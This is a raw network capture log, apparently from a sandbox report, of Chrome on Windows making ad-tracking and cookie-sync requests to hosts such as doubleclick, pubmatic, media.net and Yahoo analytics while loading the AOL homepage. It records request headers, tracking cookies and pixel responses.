2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 61 44 30 79 4e 7a 59 37 64 7a 30 7a 4e 6a 67 37 63 32 30 39 4d 54 74 68 63 48 42 70 5a 44 31 35 64 47 46 6a 61 48 6c 76 62 67 2d 2d 2f 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e 66 73 2e 63 6f 6d 2f 65 6e 2f 76 69 64 65 6f 2e 72 65 75 74 65 72 73 6e 65 77 73 2e 63 6f 6d 2f 63 39 35 34 34 34 37 37 62 38 35 63 62 65 37 62 61 31 64 66 31 37 36 35 32 30 30 30 61 64 61 36 22 2c 22 63 72 65 61 74 65 5f 64 61 74 65 22 3a 22 32 30 32 34 2d 30 35 2d 32 33 54 31 31 3a 35 39 3a 30 31 5a 22 2c 22 70 72 6f 76 69 64 65 72 22 3a 7b 22 70 72 6f 76 69 64 65 72 5f 69 64 22 3a 22 76 69 64 65 6f 2e 72 65 75 74 65 72 73 6e 65 77 73 2e 63 6f 6d 22 2c 22 70 72 6f 76 69 64 65 72 5f 76 69 64 65 6f 5f 69 64 22 3a 22 74 61 67 3a 72 65 75 74 65 72 73 2e 63 6f 6d 2c 32 30 32 Data Ascii: aD0yNzY7dz0zNjg7c209MTthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/video.reutersnews.com/c9544477b85cbe7ba1df17652000ada6","create_date":"2024-05-23T11:59:01Z","provider":{"provider_id":"video.reutersnews.com","provider_video_id":"tag:reuters.com,202
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 69 77 69 5a 58 68 77 49 6a 6f 78 4e 7a 45 32 4e 54 41 30 4d 44 45 34 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 33 4d 54 68 39 2e 51 64 6a 68 45 38 68 4d 61 4f 31 45 75 52 52 5a 6a 67 37 4a 47 4a 4f 6b 62 6b 6b 32 47 4b 6e 4b 71 4d 38 77 43 44 55 6a 36 4b 52 71 6e 6f 51 4d 52 39 6e 43 5f 4a 7a 6d 72 77 4e 65 53 58 6d 66 4f 4a 57 4a 62 6d 66 5a 4d 58 59 67 54 64 47 4e 35 69 4a 33 61 6a 5f 67 55 71 39 50 4f 43 61 6d 31 35 71 51 4f 50 46 33 48 77 49 42 55 2d 5a 75 35 79 5f 59 33 70 48 50 51 76 44 4f 4d 51 5f 4a 59 30 36 50 5f 4c 65 47 5f 2d 30 4b 74 54 50 2d 69 37 79 50 59 44 49 44 6d 72 6e 38 6f 79 54 48 48 37 65 72 73 4e 42 69 2d 35 34 5f 56 56 65 6d 42 52 61 46 30 46 69 62 67 54 63 73 43 54 78 75 32 64 64 70 59 44 64 6c 48 5a 5f 76 63 6d 43 Data Ascii: iwiZXhwIjoxNzE2NTA0MDE4LCJpYXQiOjE3MTY1MDM3MTh9.QdjhE8hMaO1EuRRZjg7JGJOkbkk2GKnKqM8wCDUj6KRqnoQMR9nC_JzmrwNeSXmfOJWJbmfZMXYgTdGN5iJ3aj_gUq9POCam15qQOPF3HwIBU-Zu5y_Y3pHPQvDOMQ_JY06P_LeG_-0KtTP-i7yPYDIDmrn8oyTHH7ersNBi-54_VVemBRaF0FibgTcsCTxu2ddpYDdlHZ_vcmC
2024-05-23 22:35:18 UTC	1300	IN	Data Raw: 47 55 65 51 70 36 6a 56 71 4f 34 38 41 66 61 58 4f 41 6c 4b 56 56 35 48 6c 77 77 55 47 62 31 61 5f 4f 43 74 65 51 73 32 47 30 54 31 76 76 71 75 56 46 37 64 70 64 43 64 4a 41 31 43 51 70 71 48 67 58 54 54 77 22 2c 22 77 69 64 74 68 22 3a 30 2c 22 68 65 69 67 68 74 22 3a 30 2c 22 62 69 74 72 61 74 65 22 3a 30 2c 22 64 75 72 61 74 69 6f 6e 22 3a 35 38 2c 22 6d 69 6d 65 5f 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 61 70 70 6c 65 2e 6d 70 65 67 75 72 6c 22 2c 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 70 72 69 6d 61 72 79 22 3a 66 61 6c 73 65 2c 22 63 64 6e 22 3a 22 62 63 70 22 2c 22 66 6f 72 6d 61 74 22 3a 22 6d 33 75 38 22 2c 22 66 72 61 6d 65 72 61 74 65 22 3a 30 2c 22 63 68 61 6e 6e 65 6c 73 22 3a 30 2c 22 66 6f 72 63 65 Data Ascii: GUeQp6jVqO48AfaXOAlKVV5HlwwUGb1a_OCteQs2G0T1vvquVF7dpdCdJA1CQpqHgXTTw","width":0,"height":0,"bitrate":0,"duration":58,"mime_type":"application/vnd.apple.mpegurl","live":false,"is_primary":false,"cdn":"bcp","format":"m3u8","framerate":0,"channels":0,"force

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.6	50620	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	431	OUT	GET /ebda?gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3476490108663385185440; tluidp=3476490108663385185440
2024-05-23 22:35:18 UTC	172	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate
2024-05-23 22:35:18 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.6	50615	142.250.185.130	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	569	OUT	GET /pixel?google_nid=yieldmo_dbm&google_hm=VkkzTTNZWUtLb1lTaEZqaThQOEM= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:18 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.6	50630	185.184.8.90	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	456	OUT	GET /cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: creativecdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836
2024-05-23 22:35:18 UTC	310	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT vary: Accept-Encoding content-type: image/gif cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 23 May 2024 22:35:18 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 42 connection: close
2024-05-23 22:35:18 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.6	50604	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2042	OUT	GET /p?evt=ad_init&_E=ad_init&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a74 [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://imasdk.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	443	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 178 date: Thu, 23 May 2024 22:35:18 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.6	50626	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2709	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNTQmdGw9NDMyMDA%3D&piggybackCookie=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:18 UTC	773	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_632=23041-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&KRTB&23047-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&KRTB&23234-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&KRTB&23361-VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:16 GMT; path=/ Set-Cookie: PugT=1716503716; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:16 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:18 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.6	50632	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1092	OUT	GET /cksync.php?cs=8&vsid=3595052986404735000V10&type=son&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=3e69915a-aa81-453c-8be6-621af7150f41 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1; data-r=LWJTZABN-X-K4PW~~1; data-ttd=8369ae03-bf51-422b-a15c-33306b0e1dfe~~1; data-mf=064dd624-3223-4a30-af5d-c38630257b17~~1; data-c=1f5a2429-5a10-4b50-95d0-3435c16ad1ac~~1; data-c-ts=1716503716; data-xu=K0DIBbMP1Sah1H5~~8; data-rbh=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU~~1
2024-05-23 22:35:18 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8;Expires=Thu, 20 Jun 2024 22:35:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:18 GMT Connection: close
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-05-23 22:35:18 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.6	50633	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1093	OUT	GET /cksync.html?cs=8&vsid=3595052986404735000V10&type=opx&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=e76223d5-0ccf-44a1-8261-d9c1c88ec58a HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10; data-rk=5144588530448503731~~8; data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8; data-so=3e69915a-aa81-453c-8be6-621af7150f41~~8; data-co=AQAGvoDLNisIcgIhnUBBAQEBAQEBAQCOppb7kAEBAI6mlvuQ~~8; data-g=CAESEEPGHKjwV8vQHjvJtIgKGQI~~8; data-ze=Ldu6nP-f8GRn9WiN8PL4~~1; data-r=LWJTZABN-X-K4PW~~1; data-ttd=8369ae03-bf51-422b-a15c-33306b0e1dfe~~1; data-mf=064dd624-3223-4a30-af5d-c38630257b17~~1; data-c=1f5a2429-5a10-4b50-95d0-3435c16ad1ac~~1; data-c-ts=1716503716; data-xu=K0DIBbMP1Sah1H5~~8; data-rbh=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU~~1
2024-05-23 22:35:18 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-o=e76223d5-0ccf-44a1-8261-d9c1c88ec58a~~8;Expires=Thu, 22 May 2025 22:35:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:18 GMT Connection: close
2024-05-23 22:35:18 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-05-23 22:35:18 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.6	50617	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1095	OUT	GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila"
2024-05-23 22:35:18 UTC	525	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:18 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-05-23 22:35:18 UTC	59	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 68 51 4a 4f 64 64 5a 45 32 75 4a 2e 6b 34 45 5f 41 64 46 4b 61 52 64 34 56 70 49 4c 5f 79 5f 68 7e 41 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"axid": "y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.6	50638	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2632	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-tptrnFdE2uVGPHeutxDi92.PqGg2S8o-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:18 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:17 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1716503717; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:17 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
